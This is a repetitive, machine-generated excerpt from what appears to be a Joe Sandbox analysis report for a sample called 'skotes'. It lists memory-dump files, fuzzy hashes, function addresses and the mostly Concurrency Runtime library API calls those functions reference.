Associated: 00000006.00000002.3044269303.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044483030.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044655799.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044869067.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045008865.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045098739.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045202265.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045352715.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045506744.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045630904.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045752399.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045916157.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046068113.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046158916.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046289222.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046370862.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046536761.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046691297.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046778582.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046870463.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046971961.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047058405.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047192814.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047495300.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047614481.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047710453.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047840088.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047924632.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048044910.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048180833.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::Context$Scheduler$EventInternalItem::ProcessorVirtualWork$ActiveAssignBindCommitConcurrency::location::_GroupPointsReclaimResolveRunnableSafeScheduleSegmentThrowTokenTraceTrigger
String ID:
API String ID: 2363638799-0
Opcode ID: 26cf7c1bf1c013a2396ef305ed44cd91bea779bb0ef6b19b801b1ba91a033b93
Instruction ID: b024e2e4c86b457f915e8dc030b074190fce340ab2970231321ca928cc5258af
Opcode Fuzzy Hash: 26cf7c1bf1c013a2396ef305ed44cd91bea779bb0ef6b19b801b1ba91a033b93
Instruction Fuzzy Hash: D051B331A00229EBCF18DF90E895BADB7B5AF44310F154068E9067B3D6CB70AE55CB91

Function 0011CB97 Relevance: 1.5, APIs: 1, Instructions: 9nativeCOMMON

Download Yara Rule

APIs

NtFlushProcessWriteBuffers.NTDLL ref: 0011CBAA

Memory Dump Source

Source File: 00000006.00000002.3035558998.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000006.00000002.3035335607.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3035558998.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037014250.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037427966.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037640700.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3038977391.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3039231334.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041259212.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041476076.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042013283.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042265069.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042498358.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042827694.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043183017.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043350805.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044269303.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044483030.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044655799.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044869067.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045008865.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045098739.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045202265.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045352715.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045506744.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045630904.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045752399.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045916157.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046068113.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046158916.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046289222.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046370862.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046536761.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046691297.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046778582.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046870463.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046971961.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047058405.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047192814.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047495300.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047614481.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047710453.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047840088.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047924632.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048044910.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048180833.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: BuffersFlushProcessWrite
String ID:
API String ID: 2982998374-0
Opcode ID: dcc6a632e616ef413a89896561576071cc61dc397cfcf33eb4938af7726dc768
Instruction ID: 0efb72b317421976108a42ac35e3e8f0b46ca9857f95df55561e74f635b82e83
Opcode Fuzzy Hash: dcc6a632e616ef413a89896561576071cc61dc397cfcf33eb4938af7726dc768
Instruction Fuzzy Hash: 5EB09232A1B93087CA562B98FC0859D7715AB84B5270A0166D801ABA348B505DC29BD8

Function 0011DD91 Relevance: .1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3035558998.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000006.00000002.3035335607.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3035558998.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037014250.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037427966.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037640700.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3038977391.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3039231334.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041259212.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041476076.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042013283.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042265069.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042498358.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042827694.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043183017.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043350805.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044269303.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044483030.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044655799.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044869067.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045008865.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045098739.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045202265.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045352715.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045506744.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045630904.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045752399.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045916157.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046068113.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046158916.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046289222.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046370862.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046536761.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046691297.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046778582.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046870463.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046971961.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047058405.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047192814.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047495300.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047614481.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047710453.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047840088.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047924632.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048044910.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048180833.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_100000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0aba3a0c7ee01d29984f7fb920536190dd105f131b8290e64d6e91b3b1480482
Instruction ID: 2326cf7ac098a510b3783b06e0022d28a45875222295227a4d183c5f8cd5db15
Opcode Fuzzy Hash: 0aba3a0c7ee01d29984f7fb920536190dd105f131b8290e64d6e91b3b1480482
Instruction Fuzzy Hash: 5A51BEB2A066068BDB19CF98EC917AAB7F1FB58304F24856AD405EB650D3B4A981CF50

Function 001326D1 Relevance: 22.7, APIs: 15, Instructions: 231COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 001326E3

Part of subcall function 001324E1: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00132504

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 00132704
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 00132711
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 0013275F
Concurrency::details::SchedulerBase::AcquireQuickCacheSlot.LIBCMT ref: 001327E6
Concurrency::details::WorkSearchContext::QuickSearch.LIBCMT ref: 001327F9
Concurrency::details::WorkSearchContext::SearchCacheLocal_Runnables.LIBCONCRT ref: 00132846

Memory Dump Source

Source File: 00000006.00000002.3035558998.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000006.00000002.3035335607.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3035558998.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037014250.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037427966.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037640700.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3038977391.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3039231334.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041259212.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041476076.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042013283.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042265069.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042498358.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042827694.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043183017.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043350805.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044269303.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044483030.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044655799.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044869067.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045008865.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045098739.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045202265.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045352715.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045506744.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045630904.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045752399.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045916157.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046068113.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046158916.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046289222.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046370862.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046536761.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046691297.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046778582.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046870463.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046971961.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047058405.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047192814.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047495300.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047614481.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047710453.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047840088.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047924632.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048044910.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048180833.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Search$Work$Context::$Base::Scheduler$CachePriorityQuick$AcquireCheckItemItem::ListLocal_NextObjectPeriodicRunnablesScanSlot
String ID:
API String ID: 2530155754-0
Opcode ID: ae699f8b5409d34a6ef2a5246134c99a24726c7d7198177e3e4a7fa13cf67381
Instruction ID: b14f2511f35e818426c971948c189d465a71746900d858c13dc285f112a6875d
Opcode Fuzzy Hash: ae699f8b5409d34a6ef2a5246134c99a24726c7d7198177e3e4a7fa13cf67381
Instruction Fuzzy Hash: EF81D030900259ABDF16EF94D941BFEBBB2AF25318F044098FD413B252C7328D2ADB61

Function 00132970 Relevance: 16.7, APIs: 11, Instructions: 222COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 00132982

Part of subcall function 001324E1: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00132504

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 001329A3
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 001329B0
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 001329FE
Concurrency::details::WorkSearchContext::SearchCacheLocal_Unrealized.LIBCONCRT ref: 00132AA6
Concurrency::details::WorkSearchContext::SearchCacheLocal_Realized.LIBCONCRT ref: 00132AD8

Memory Dump Source

Source File: 00000006.00000002.3035558998.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000006.00000002.3035335607.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3035558998.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037014250.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037427966.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037640700.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3038977391.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3039231334.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041259212.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041476076.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042013283.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042265069.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042498358.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042827694.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043183017.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043350805.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044269303.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044483030.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044655799.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044869067.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045008865.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045098739.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045202265.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045352715.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045506744.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045630904.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045752399.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045916157.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046068113.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046158916.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046289222.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046370862.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046536761.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046691297.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046778582.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046870463.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046971961.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047058405.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047192814.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047495300.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047614481.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047710453.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047840088.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047924632.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048044910.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048180833.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Search$Work$Context::$Base::CacheLocal_PriorityScheduler$CheckItemItem::ListNextObjectPeriodicRealizedScanUnrealized
String ID:
API String ID: 1256429809-0
Opcode ID: bb6d79716f4eb5a9f072989273eb6d2fc05117962db00b7a77d45a627faae0dc
Instruction ID: 25b324ebc79b69fb26d982cd449d4bbf3916263cf4f6e03ed29918b217a34ad4
Opcode Fuzzy Hash: bb6d79716f4eb5a9f072989273eb6d2fc05117962db00b7a77d45a627faae0dc
Instruction Fuzzy Hash: B571DF30A00259AFDF15EFA8C981BBEBBB6AF55304F044098FC416B296C772DD16DB61

Function 00122832 Relevance: 15.2, APIs: 10, Instructions: 223COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 00122876
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 001228DF
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 00122913

Part of subcall function 001207ED: Concurrency::details::ResourceManager::AffinityRestriction::ApplyAffinityLimits.LIBCMT ref: 0012080D

Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 00122993
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 001229DB

Part of subcall function 001207C2: Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 001207DE

Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 001229EF
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 00122A00
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 00122A4D
Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 00122A7E

Memory Dump Source

